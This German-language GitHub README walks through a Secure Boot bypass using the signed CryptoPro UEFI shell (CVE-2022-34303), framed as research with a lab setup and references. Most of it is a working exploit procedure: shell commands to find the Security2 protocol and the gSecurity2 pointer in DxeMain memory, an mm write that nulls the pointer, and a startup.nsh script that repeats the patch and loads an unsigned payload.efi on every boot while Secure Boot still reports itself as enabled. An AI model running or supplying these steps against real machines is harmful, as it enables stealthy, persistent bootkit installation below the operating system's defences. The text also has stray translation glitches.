themalwareguardian/cve-2022-34303Demonstriert die Umgehung von Secure Boot über CVE-2022-34303 mittels einer von CryptoPro signierten UEFI-Shell, wobei der Befehl mm verwendet wird, um gSecurity2 zu nullifizieren und unsignierte UEFI-Anwendungen zu laden.
CryptoPro Secure Disk UEFI Shell - Bring Your Own Vulnerable UEFI Application (BYOVUA) - Secure Boot bypass via signierter UEFI Shell und gSecurity2-Korruption.
Dieses Repository demonstriert die BYOVUA (Bring Your Own Vulnerable UEFI Application)-Technik durch die Ausnutzung von CVE-2022-34303, einer Secure-Boot-Bypass-Schwachstelle in der CryptoPro Secure Disk UEFI-Boot-Umgebung.
In diesem Fall ist die von Secure Boot vertraute Komponente ein benutzerdefinierter Shim, der von der Microsoft UEFI Third Party Certificate Authority signiert wurde. Nach der Ausführung lädt dieser Shim eine UEFI Shell als zweite Stufe, die den Befehl mm (memory modify) bereitstellt und somit beliebige Speicher-Lese- und Schreibfähigkeiten während der Pre-OS-Boot-Phase ermöglicht.
Dieses Primitiv kann dann genutzt werden, um den globalen Zeiger gSecurity2 im DXE-Kern zu lokalisieren und zu nullifizieren. Infolgedessen wird die nachfolgende UEFI-Image-Verifizierung deaktiviert, wodurch unsignierte UEFI-Anwendungen, Bootkits, trotz aktiviertem Secure Boot geladen werden können.
BYOVUA ist das UEFI-Äquivalent zur BYOVD-Technik (Bring Your Own Vulnerable Driver), die auf Kernel-Ebene verwendet wird. Anstatt einen signierten Kernel-Treiber mit einer Schwachstelle mitzubringen, bringt der Angreifer eine signierte UEFI-Anwendung mit - in diesem Fall eine vollständige UEFI Shell -, die Funktionalität enthält, die Secure Boot untergraben kann.
Da die Anwendung - in diesem Fall der benutzerdefinierte Shim, der die UEFI Shell als zweite Stufe lädt - mit einem von Microsoft vertrauenswürdigen Zertifikat signiert ist, wird sie von Secure Boot ohne Weiteres akzeptiert, wodurch sie auf jedem System vertrauenswürdig ist, das dieses Zertifikat in seiner Secure-Boot-Datenbank (db) enthält - was praktisch auf jedem in den letzten zehn Jahren ausgelieferten UEFI-fähigen PC der Fall ist. Einmal ausgeführt, bieten ihre integrierten Befehle dem Angreifer direkten Hardware- und Speicherzugriff, der vor dem Laden des Betriebssystems arbeitet, in einer Umgebung, in der moderne Sicherheitskontrollen (ASLR, DEP, Kernel-Schutzmechanismen) schlicht nicht existieren.
Shell_Full.efi ist eine UEFI Shell, die als Teil von CryptoPro Secure Disk, einem Produkt für Pre-Boot-Authentifizierung und Festplattenverschlüsselung, vertrieben wird.
| Eigenschaft | Wert |
|---|
| Datei | Shell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell) |
| Hersteller | CryptoPro Secure Disk |
| CVE | CVE-2022-34303 |
| Signierung | Microsoft Corporation UEFI CA 2011 (Third Party) |
| Entdeckung | Eclypsium (Mickey Shkatov, Jesse Michael) - August 2022 |
| Präsentation | DEF CON 30 - "One Bootloader to Load Them All" |
| Widerruf | Zur DBX hinzugefügt via Microsoft KB5012170 (August 2022) |
Die Schwachstelle ist kein Bug - sie ist ein Designfehler. UEFI Shells sind legitime Diagnosewerkzeuge, die niemals dafür gedacht waren, in Secure-Boot-Umgebungen ausgeführt zu werden. Indem die Hersteller sie jedoch mit einem von Microsoft vertrauenswürdigen Zertifikat signierten und als Teil kommerzieller Produkte vertrieben, schufen sie unbeabsichtigt einen signierten Bypass für Secure Boot.
Das Kernproblem: Eine signierte Binärdatei, der Secure Boot vertraut, bietet uneingeschränkte Speicher-Lese-/Schreibfähigkeiten durch ihre integrierten Befehle. Diese Kombination bricht das gesamte Secure-Boot-Vertrauensmodell.
Der Befehl mm (memory modify) ist ein standardmäßiger integrierter Befehl der UEFI Shell, der direkten Lese- und Schreibzugriff auf den Systemspeicher bietet. Er ist in der UEFI Shell Specification (Abschnitt 5.3) dokumentiert.```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| Parameter | Beschreibung |
|-----------|-------------|
| `Address` | Ziel-Speicheradresse |
| `Value` | Zu schreibender Wert (weglassen für Nur-Lesen) |
| `-w` | Breite: 1, 2, 4 oder 8 Bytes |
| `-MEM` | Systemspeicherzugriff |
| `-MMIO` | Speicherzugeordnete E/A |
| `-IO` | E/A-Port-Zugriff |
| `-n` | Nicht-interaktiv (keine Aufforderung für nächste Adresse) |
---
<div id='gsecurity2'/>
### ***gSecurity2 und das Security Architectural Protocol***
Die Secure-Boot-Image-Verifikation in UEFI wird durch die [Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) erzwungen, die in der UEFI Platform Initialization (PI) Specification definiert sind.
Der DXE-Kern (DxeMain) verwaltet einen globalen Zeiger namens [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252), der auf die Struktur `EFI_SECURITY2_ARCH_PROTOCOL` zeigt. Dieses Protokoll enthält einen einzigen Funktionszeiger - `FileAuthenticationState` - der von `LoadImage()` jedes Mal aufgerufen wird, wenn ein UEFI-Image geladen wird:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
Wenn LoadImage() aufgerufen wird, prüft der DXE-Core:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
Durch das Setzen von `gSecurity2 = NULL` schlägt die `if`-Prüfung fehl und `FileAuthenticationState` wird nie aufgerufen. Die Image-Verifizierung wird vollständig übersprungen – **Secure Boot bleibt „aktiviert“, wird aber nicht mehr durchgesetzt**. Unsignierte UEFI-Anwendungen können dann frei geladen werden.
Für ein tiefes technisches Verständnis dieser Technik, einschließlich einer eigens entwickelten UEFI-Anwendung, die gSecurity2 automatisch lokalisiert und patcht, siehe das begleitende Projekt: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).
---
<div id='BYOVD'/>
### ***Parallele zu Kernel BYOVD***
Die strukturelle Parallele zwischen UEFI BYOVUA und Kernel BYOVD ist exakt:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
Beide Angriffe nutzen dieselbe grundlegende Schwachstelle aus: Eine signierte Komponente, der ein Sicherheitsmechanismus vertraut, liefert die Grundlage, die benötigt wird, um genau diesen Mechanismus zu deaktivieren.
Die signierte Shell_Full.efi wird auf der EFI-Systempartition (ESP) abgelegt und als Boot-Option konfiguriert. Da sie mit einer Zertifikatskette signiert ist, der Secure Boot vertraut, validiert und lädt die Firmware sie ohne Probleme.```
EFI System Partition (ESP)
└── EFI/
└── Boot/
| └── BootX64.efi (SHIM) ← Signed by Microsoft Windows UEFI Driver Publisher
|
└── CPSD/
└── Bootxsa.efi (Shell) ← Signed by Security Coding Factory Software CA
└── startup.nsh (Script) ← Auto-executed on shell launch
---
<div id='Phase2'/>
### ***Phase 2 – Security2-Protokoll-Handles aufzählen***
Aus der UEFI-Shell besteht das Ziel darin, das Handle zu finden, das das `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) bereitstellt, und die Speicheradresse seiner Protokollschnittstelle zu ermitteln.
> **Hinweis:** Der Befehl `dh -p <GUID>` löst in den meisten EDK2-Shell-Builds keine rohen GUIDs auf – er erkennt nur registrierte Protokollnamen. Der folgende Ansatz funktioniert mit jeder EDK2-Shell-Version.
**Schritt 1 – Das SecurityStubDxe-Handle finden**
Alle Handles auflisten und nach `SecurityStubDxe` suchen, dem DXE-Treiber, der beide Security Architectural Protocols installiert:```
Shell> dh
Identifizieren Sie in der Ausgabe das als SecurityStubDxe geladene Handle:```
10: Image(SecurityStubDxe)
**Schritt 2 – Benachbarte Handles untersuchen**
`SecurityStubDxe` installiert die Security-Protokolle auf einem separaten Handle, typischerweise dem unmittelbar darauffolgenden. Diese Handles erscheinen in der kurzen Auflistung leer, weil die Shell ihre GUIDs nicht auf benutzerfreundliche Namen abbilden kann. Untersuchen Sie sie mit dem ausführlichen Modus:```
Shell> dh -v 11
Expected output:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
Wenn Handle `0x11` diese GUIDs nicht enthält, versuche `0x12` - die genaue Handle-Nummer variiert zwischen Firmware-Builds.
**Schritt 3 - Die Interface-Adresse aufzeichnen**
Die beiden Protokolle und ihre Interface-Adressen sind:
| GUID | Protokoll | Interface-Adresse |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
Die **Security2-Interface-Adresse** (`0x3EE8C3A0` in diesem Beispiel) ist der Wert, der vom `gSecurity2`-Globalzeiger innerhalb von DxeMain gespeichert wird. Dieser Wert wird für Phase 3 benötigt.
---
<div id='Phase3'/>
### ***Phase 3 - gSecurity2 im Speicher lokalisieren***
Die Variable `gSecurity2` ist ein globaler Zeiger innerhalb des DXE-Kerns (`DxeMain`). Ihr Wert entspricht der in Phase 2 gefundenen Protokoll-Interface-Adresse. Das Ziel ist, die Speicheradresse zu finden, an der dieser Zeiger gespeichert ist - nicht der Wert des Zeigers, sondern die Variable selbst.
**Schritt 1 - Das Speicherlayout des DXE-Kern-Images ermitteln**```
Shell> dh -v 1
Ihre Antwort hier``` Handle 01 (3F4ECB18) Image (3FEAFB08) File:DxeCore ImageBase.....: 3FE94000 - 3FEBB000 ImageSize.....: 27000
Record `ImageBase` (`0x3FE94000`).
**Schritt 2 – Die PE-Header parsen, um die `.data`-Sektion zu finden**
Die `.data`-Sektion enthält die initialisierten globalen Variablen, einschließlich `gSecurity2`. Anstatt das gesamte Image blind zu durchsuchen, parse die PE-Header, um die genauen `.data`-Grenzen zu finden.
Lies den MZ-Header, um den PE-Header-Offset zu erhalten (DWORD bei Offset `0x3C`):```
Shell> dmem <ImageBase> 100
In der Ausgabe schauen Sie sich den Offset 0x3C von ImageBase an. Wenn ImageBase beispielsweise 0x3FE94000 ist:```
3FE9403C: C0 00 00 00
Das bedeutet, dass die PE-Signatur bei Offset `0xC0` von `ImageBase` liegt.
**Schritt 3 – Lesen der Section-Tabelle**
Der Offset der Section-Tabelle wird wie folgt berechnet:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
Lies den COFF-Header, um SizeOfOptionalHeader zu erhalten (WORD bei PE_offset + 20):```
Shell> dmem <ImageBase + PE_offset> 20
Für ein PE32+ (x64) UEFI-Image ist `SizeOfOptionalHeader` typischerweise `0xF0`. In unserem Beispiel:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
Dump der Sektionstabelle (5 Sektionen × 40 Bytes = 200 Bytes):``` Shell> dmem 3FE941C8 140
Jeder Section-Eintrag ist 40 Bytes groß:
| Offset | Größe | Feld |
|--------|-------|------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
Suchen Sie nach dem `.data`-Section-Eintrag. Beispielausgabe:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
Berechne die absoluten .data-Grenzen:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**Schritt 4 – Durchsuche `.data` nach dem Interface-Zeiger**
Suche nach der Security2-Interface-Adresse in Little-Endian-Byte-Reihenfolge innerhalb des `.data`-Bereichs. Für eine Interface-Adresse von `0x3EE8C3A0` suche nach:```
A0 C3 E8 3E 00 00 00 00
Scanne in 0x200-Byte-Blöcken beginnend bei data_start:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
Fahren Sie durch den `.data`-Bereich fort, bis Sie die Byte-Sequenz finden. Die Zeiger `gSecurity` (Security1) und `gSecurity2` (Security2) werden aufeinanderfolgend gespeichert, suchen Sie also nach beiden Werten nebeneinander:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
Tipp: Der Abschnitt
.dataenthält auch die EFI System Table-Strukturen (IBI SYST,DXE_SERV,BOOTSERV,RUNTSERV). Die Sicherheitszeiger befinden sich typischerweise nach diesen Strukturen. Wenn Sie diese Signaturen beim Scannen entdecken, machen Sie weiter - Sie sind kurz davor.
Schritt 5 - Bestätigen Sie die Adresse
Überprüfen Sie dies, indem Sie die genaue Position lesen:``` Shell> dmem 3FEB0C08 10
Erwartete Ausgabe:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
Die Adresse 0x3FEB0C08 ist der Speicherort von gSecurity2 - dies ist das Ziel für Phase 4.
Sobald die Adresse der Variable gSecurity2 bekannt ist, deaktiviert ein einzelner mm-Befehl die Secure-Boot-Verifikation:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **Hinweis:** Der Befehl `mm` akzeptiert möglicherweise nicht das Präfix `0x` beim Adressargument. Verwenden Sie die rohe Hexadezimaladresse direkt.
Beispiel:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
This schreibt 8 Bytes Nullen an den gSecurity2-Zeiger. Der DXE-Core überspringt nun alle Bildüberprüfungsprüfungen in LoadImage().
Um den Patch zu überprüfen:``` Shell> dmem <gSecurity2_address> 10
Die ersten 8 Bytes sollten `00 00 00 00 00 00 00 00` lauten:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
Beachten Sie, dass gSecurity (Security1, zweites Qword) intakt bleibt - nur Security2 wird genullt, was ausreicht, um die LoadImage()-Verifizierung zu umgehen.
Mit genulltem gSecurity2 kann jede UEFI-Anwendung geladen werden, unabhängig von ihrem Signaturstatus:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
Oder `load` für Treiber verwenden:```
Shell> load fs1:\MyUnsignedDriver.efi
Das Betriebssystem wurde noch nicht gestartet. Jede zu diesem Zeitpunkt geladene UEFI-Anwendung läuft mit vollem Hardwarezugriff, bevor jegliche Sicherheitskontrollen auf Betriebssystemebene initialisiert werden.
Die UEFI-Shell führt bei jedem Start automatisch startup.nsh aus dem aktuellen Verzeichnis oder dem ESP-Stammverzeichnis aus. Durch die Kodierung des mm-Patches in diesem Skript wird die Secure-Boot-Umgehung bei jedem Start automatisch ausgeführt:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
Beispiel:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
Das System meldet Secure Boot weiterhin als „enabled" – nur die Laufzeitdurchsetzung ist deaktiviert. Dadurch bleibt der Angriff für Secure-Boot-Statusabfragen auf Betriebssystemebene unsichtbar.
Wichtig: Die Adresse
gSecurity2(0x3FEB0C08in diesem Beispiel) ist spezifisch für den Firmware-Build. Wenn die Firmware aktualisiert oder neu kompiliert wird, muss die Adresse durch Wiederholung der Phasen 2 und 3 neu berechnet werden.
Das Auffinden der Adresse gSecurity2 ist firmwarespezifisch und muss bei jeder Aktualisierung oder Neukompilierung der Firmware wiederholt werden. Der übergeordnete Prozess ist:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***Exploit***
Es werden zwei Ansätze bereitgestellt:
**Ansatz A – Patch FileAuthenticationState:** Überschreibt die ersten 4 Bytes der Verifikationsfunktion mit `xor rax, rax; ret` (`48 31 C0 C3`), wodurch sie EFI_SUCCESS zurückgibt, ohne eine Prüfung durchzuführen. Dieser Ansatz verwendet die Befehle `dh`, `dmem` und `mm`, um den Funktionszeiger über die Security2-Protokollschnittstelle aufzulösen, und erfordert keine Suche im DxeMain-Speicher.
**Ansatz B – Nullify gSecurity2 pointer:** Lokalisiert die globale Variable gSecurity2 im `.data`-Abschnitt von DxeMain und schreibt NULL hinein. Dies ist die Technik, die von Eclypsium in der BombShell-Offenlegung beschrieben und programmatisch im Repository [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) implementiert wurde. Dieser Ansatz erfordert das Parsen der PE-Header von DxeMain, um die Grenzen des `.data`-Abschnitts zu finden, und anschließend das manuelle Scannen des Speichers mit `dmem`, um die Zeigeradresse zu lokalisieren.
Beide Skripte sind so konzipiert, dass sie Schritt für Schritt befolgt werden, wobei jeder Befehl erklärt wird. Führen Sie sie zunächst interaktiv aus, und sobald die korrekten Adressen für die Ziel-Firmware bekannt sind, erstellen Sie eine `startup.nsh` für die automatisierte Ausführung bei jedem Start.
---
---
---
<div id='LabSetup'/>
## ***Lab Setup***
### DBX (Forbidden Signature Database)
Die signierte Shell wurde über KB5012170 (August 2022) zur DBX-Widerrufsliste von Microsoft hinzugefügt. Auf aktualisierten Systemen wird die Shell von Secure Boot abgelehnt.
Für die Laborumgebung benötigen Sie ein System, bei dem:
- Die DBX nicht mit dem Widerrufseintrag für diese spezifische Shell aktualisiert wurde
- Oder die DBX leer ist (frische VM mit Standard-Secure-Boot-Schlüsseln)
- Oder Sie eine QEMU/OVMF-Umgebung mit benutzerdefinierter Secure-Boot-Schlüsselregistrierung verwenden
Die [QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) bietet eine automatisierte Einrichtung hierfür.
### Alternative: Jede signierte UEFI-Shell mit mm-Befehl
Die Technik ist nicht spezifisch für `Shell_Full.efi`. Jede UEFI-Shell, die den Befehl `mm` bereitstellt und mit einem vertrauenswürdigen Zertifikat (Microsoft CA oder OEM-spezifisch) signiert ist, kann verwendet werden. Wie in der [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/)-Forschung von Eclypsium (Oktober 2025) dokumentiert, wurden signierte UEFI-Shells mit gefährlichen Fähigkeiten in Produkten mehrerer Hersteller gefunden, darunter Framework-Laptops (betrifft etwa 200.000 Geräte).
---
---
---
<div id='References'/>
## ***References***
### Directly Related
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) – Kuratierte Sammlung bekannter verwundbarer signierter UEFI-Anwendungen
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) – Tiefgehende technische Analyse der gSecurity2-Korruptionstechnik, einschließlich einer eigens entwickelten UEFI-Anwendung, die den Zeiger automatisch lokalisiert und patcht
### Eclypsium Research
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) – Forschung zur Verwendung signierter UEFI-Shells für Speichermanipulation mit .nsh-Skripting
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) – Ursprüngliche Eclypsium-Forschung, die CVE-2022-34301, CVE-2022-34302, CVE-2022-34303 offenlegt
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) – Präsentation von Mickey Shkatov und Jesse Michael
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) – Forschung von Oktober 2025, die den mm-Befehl-gSecurity2-Angriff auf Framework-Laptops demonstriert (200k betroffene Geräte)
### UEFI Specifications
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) – Dokumentation für die Befehle mm und dh
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) – Quellcode-Referenz für den globalen Zeiger gSecurity2
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) – Offizielle Definition des Security2 Architectural Protocol
### Advisories
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34303](https://nvd.nist.gov/vuln/detail/CVE-2022-34303)